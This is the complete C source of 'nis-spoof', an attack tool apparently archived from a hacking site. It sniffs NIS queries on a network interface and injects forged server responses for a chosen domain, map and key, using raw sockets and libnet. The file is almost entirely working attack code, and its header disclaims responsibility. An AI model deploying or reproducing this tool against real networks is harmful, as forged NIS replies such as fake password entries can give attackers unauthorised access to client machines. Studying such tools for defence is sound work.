home *** CD-ROM | disk | FTP | other *** search
- /* Spoof the response from a NIS server to a client. Be nice, I'm not
- * responsible if you do illegal things with this, nor do I condone it. I
- * just thought it was interesting and others might as well.
-
- cc `libnet-config --cflags --defines` nis-spoof.c -lpcap \
- `libnet-config --libs` -o nis-spoof
-
- Licensed under the terms of the GPL.
-
- $Id: nis-spoof.c,v 1.1.1.1 2005/02/12 19:38:43 loni Exp $
-
- See http://www.zweknu.org/src/nis-spoof/ for the latest version
-
- */
-
- #include <stdio.h>
- #include <pcap.h>
- #include <unistd.h>
- #include <stdlib.h>
- #include <sys/types.h>
- #include <libnet.h>
-
- #ifdef __OpenBSD__
- #include <sys/ioctl.h>
- #include <net/bpf.h>
- struct pcap
- {
- int fd;
- /* Who cares what else is in there? */
- };
- #endif /* __OpenBSD__ */
-
- /* This simulates the {old|new} pcap_immediate() function. It may not do
- * anything on some platforms. */
- int my_pcap_immediate(pcap_t *p)
- {
- /* Thanks to Michael T. Stolarchuk <mts@off.to> for the bit to do this and
- * lots of other info besides. */
- #ifdef __OpenBSD__
- unsigned int value=1;
- struct pcap *sp=(struct pcap*)p;
- /* I don't know that this jives with what pcap_immediate() is
- * supposed to return, but the pcap man page only specifies that
- * error == -1 */
- return ioctl(sp->fd,BIOCIMMEDIATE,&value);
- #else
- return -1;
- #endif /* __OpenBSD__ */
- }
-
-
- /* I'm making this stuff up. I don't actually *know* the NIS protocol,
- * just what I get on a packet dump. */
- /* Assume 32 bit arch... */
- struct nisquery_st
- {
- u_int serial;
- char dragons[36]; /* I see 86a4 in all the dragons, even on Linux.
- I wonder what that's about. */
- u_int dom_len;
- char domainname[1024];
- u_int map_len;
- char mapname[1024];
- u_int key_len;
- char key[1024];
- };
-
- /* More guesswork */
- char voodoo[]={ 0,0,
- 0,1,0,0,0,0,0,0 ,0,0,0,0,0,0,0,0,
- 0,0,0,0,0,1};
- struct nisresponse_st
- {
- u_int serial;
- char magic[sizeof(voodoo)];
- u_int resp_len;
- char resp[1024];
- };
-
- #define MAC_HEADER_LEN 14
- #define PACKET_SIZE 4096
- #define PROMISC 1
-
- /***************/
- /* Global Vars */
- /***************/
-
- struct nisquery_st nq;
- struct nisresponse_st nr;
- pcap_t *sniffer;
- u_short port=0;
- char hostname[64],etherdev[64],key[64],map[64],domain[64];
- u_char *ippacket;
- int rawsock;
-
- /***************/
- /***************/
- /***************/
-
- void usage(FILE *out,char *name)
- {
- fprintf(out,"Usage %s -h <host> -p <port> -r <response> -i <interface> "
- "-k <key> -m <map> -d <domain>\n",name);
- }
-
- void set_options(int argc,char **argv)
- {
- char ch;
-
- while((ch=getopt(argc, argv, "p:h:r:i:m:d:k:"))!=-1)
- {
- switch(ch)
- {
- case 'm':
- strncpy(map,optarg,sizeof(map));
- map[sizeof(map)-1]=0;
- break;
- case 'd':
- strncpy(domain,optarg,sizeof(domain));
- domain[sizeof(domain)-1]=0;
- break;
- case 'k':
- strncpy(key,optarg,sizeof(key));
- key[sizeof(key)-1]=0;
- break;
- case 'p':
- port=atoi(optarg);
- break;
- case 'h':
- strncpy(hostname,optarg,sizeof(hostname));
- hostname[sizeof(hostname)-1]=0;
- break;
- case 'i':
- strncpy(etherdev,optarg,sizeof(etherdev));
- etherdev[sizeof(etherdev)-1]=0;
- break;
- case 'r':
- strncpy(nr.resp,optarg,sizeof(nr.resp));
- nr.resp[sizeof(nr.resp)]=0;
- nr.resp_len=strlen(nr.resp);
- nr.resp_len=htonl(nr.resp_len);
- break;
- case '?':
- default:
- usage(stderr,argv[0]);
- exit(1);
- }
- }
- }
- /*
- int open_rawsock(void)
- {
- int rawsock,val=1;
-
- if((rawsock=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0)
- {
- perror("socket");
- exit(1);
- }
- if(setsockopt(rawsock,IPPROTO_IP,IP_HDRINCL,&val,sizeof(val))<0)
- {
- perror("setsockopt");
- exit(1);
- }
- return rawsock;
- }
- */
- int open_rawsock(void)
- {
- int rawsock;
-
- if(libnet_init_packet(PACKET_SIZE,&ippacket)==-1)
- {
- perror("libnet_init_packet");
- exit(1);
- }
-
- if((rawsock=libnet_open_raw_sock(IPPROTO_RAW))==-1)
- {
- perror("libnet_open_raw_sock");
- exit(1);
- }
- return rawsock;
- }
-
- pcap_t *open_sniffer(void)
- {
- char filterstr[1024],errbuf[4096];
- pcap_t *capdev;
- struct bpf_program filter;
- int localnet=0,netmask=0;
-
- sprintf(filterstr,"dst host %s and udp and dst port %d",hostname,port);
- printf("Filter: \"%s\"\n",filterstr);
-
- if((capdev=pcap_open_live(etherdev,PACKET_SIZE,PROMISC,1,errbuf))==NULL)
- {
- fprintf(stderr,"pcap_open_live: %s\n",errbuf);
- exit(1);
- }
-
- if(pcap_lookupnet(etherdev,&localnet,&netmask,errbuf))
- {
- fprintf(stderr,"pcap_lookupnet: %s\n",errbuf);
- exit(1);
- }
-
- if(pcap_compile(capdev,&filter,filterstr,1,netmask))
- {
- pcap_perror(capdev,"pcap_compile");
- exit(1);
- }
-
- if(pcap_setfilter(capdev,&filter))
- {
- pcap_perror(capdev,"pcap_setfilter");
- exit(1);
- }
- my_pcap_immediate(capdev);
-
- return capdev;
- }
-
- /* Send a response to buf */
- void send_response(char *buf,int len)
- {
- int i;
- u_char ihl=4*(0xF&(u_char)buf[MAC_HEADER_LEN]);
- u_char scratch[4];
- u_short tlen,rlen,payload_len;
-
- buf+=MAC_HEADER_LEN;
-
- rlen=0xFFFF&(ntohl(nr.resp_len) +
- ((ntohl(nr.resp_len)%4)?4-(ntohl(nr.resp_len)%4):0));
- bzero(ippacket,sizeof(ippacket));
-
- nr.serial=nq.serial;
-
- bcopy(buf,ippacket,len);
- /* printf("##############################################\n"); */
- payload_len=sizeof(nr)-sizeof(nr.resp)+rlen;
- bcopy(&nr,ippacket+len,payload_len);
- tlen=len+payload_len;
-
- /*
- for(i=0;i<tlen;i++)
- printf("%c%2.2x",i%16?' ':'\n',ippacket[i]);
- printf("\n");
- */
-
- tlen=htons(tlen);
-
- /* Set total length */
- bcopy(&tlen,&ippacket[2],2);
- /* Set TTL */
- ippacket[8]=24;
- /* Swap IP src/dst */
- bcopy(&ippacket[12],scratch,4);
- bcopy(&ippacket[16],&ippacket[12],4);
- bcopy(scratch,&ippacket[16],4);
- /* Swap port src/dst */
- bcopy(&ippacket[ihl],scratch,2);
- bcopy(&ippacket[ihl+2],&ippacket[ihl],2);
- bcopy(scratch,&ippacket[ihl+2],2);
- /* Set UDP len */
- payload_len+=8;
- payload_len=htons(payload_len);
- bcopy(&payload_len,&ippacket[ihl+4],2);
-
- tlen=ntohs(tlen);
- if(libnet_do_checksum(ippacket,IPPROTO_UDP,tlen-ihl)<0)
- {
- perror("libnet_do_checksum");
- exit(1);
- }
- /*
- for(i=0;i<tlen;i++)
- printf("%c%2.2x",i%16?' ':'\n',ippacket[i]);
- printf("\n");
- */
- libnet_write_ip(rawsock,ippacket,tlen);
- }
-
- void framehandler(u_char *user, struct pcap_pkthdr *ph, u_char *buf)
- {
- /* Let's assume a 14-byte MAC header!! :) Data offset = 14 + IHL*4
- * + 8 */
- u_char dataoffset=MAC_HEADER_LEN+4*(0xF&(u_char)buf[MAC_HEADER_LEN])+8;
- u_short datalen=ntohs((*(u_short *)&(buf[dataoffset-4]))&0xFFFF)-8;
- u_short curpos;
- int i=0;
-
- /* printf("Offset: %d\nLength: %2.2x\n\n",dataoffset,datalen); */
- bzero(&nq,sizeof(nq));
-
- bcopy(&buf[dataoffset],&nq.serial,4);
-
- curpos=dataoffset+4;
- bcopy(&buf[curpos],&nq.dragons,sizeof(nq.dragons));
- curpos+=sizeof(nq.dragons);
-
- nq.dom_len=ntohl((*(u_int *)&(buf[curpos])));
- curpos+=4;
- bcopy(&buf[curpos],nq.domainname,nq.dom_len);
- curpos+=nq.dom_len;
- if(nq.dom_len%4)
- curpos+=4-(nq.dom_len%4);
- nq.domainname[nq.dom_len]=0;
-
- nq.map_len=ntohl((*(u_int *)&(buf[curpos])));
- curpos+=4;
- bcopy(&buf[curpos],nq.mapname,nq.map_len);
- curpos+=nq.map_len;
- if(nq.map_len%4)
- curpos+=4-(nq.map_len%4);
- nq.mapname[nq.map_len]=0;
-
- nq.key_len=ntohl((*(u_int *)&(buf[curpos])));
- curpos+=4;
- bcopy(&buf[curpos],nq.key,nq.key_len);
- curpos+=nq.key_len;
- if(nq.key_len%4)
- curpos+=4-(nq.key_len%4);
- nq.key[nq.key_len]=0;
-
- if(!strcmp(nq.key,key) &&
- !strcmp(nq.mapname,map) &&
- !strcmp(nq.domainname,domain))
- {
- fprintf(stderr,"Match: %s %s [%s]\n"
- ,nq.key,nq.mapname,nq.domainname);
- send_response(buf,dataoffset-14);
- }
- }
-
- int main(int argc, char **argv)
- {
- set_options(argc,argv);
- if(hostname[0]==0 || port==0 || etherdev[0]==0 || nr.resp_len==0
- || key[0]==0 || map[0]==0 || domain[0]==0)
- {
- printf("Hostname: %s\n",hostname);
- printf("Port: %d\n",port);
- printf("Interface: %s\n",etherdev);
- printf("Response: %s\n",nr.resp);
- usage(stderr,argv[0]);
- exit(1);
- }
- sniffer=open_sniffer();
- rawsock=open_rawsock();
- printf("Answering queries for %s:%d\n",hostname,port);
- bcopy(voodoo,&nr.magic,sizeof(voodoo));
- pcap_loop(sniffer,0,framehandler,NULL);
- return 0;
- }
- /* www.hack.co.za [14 May 2000]*/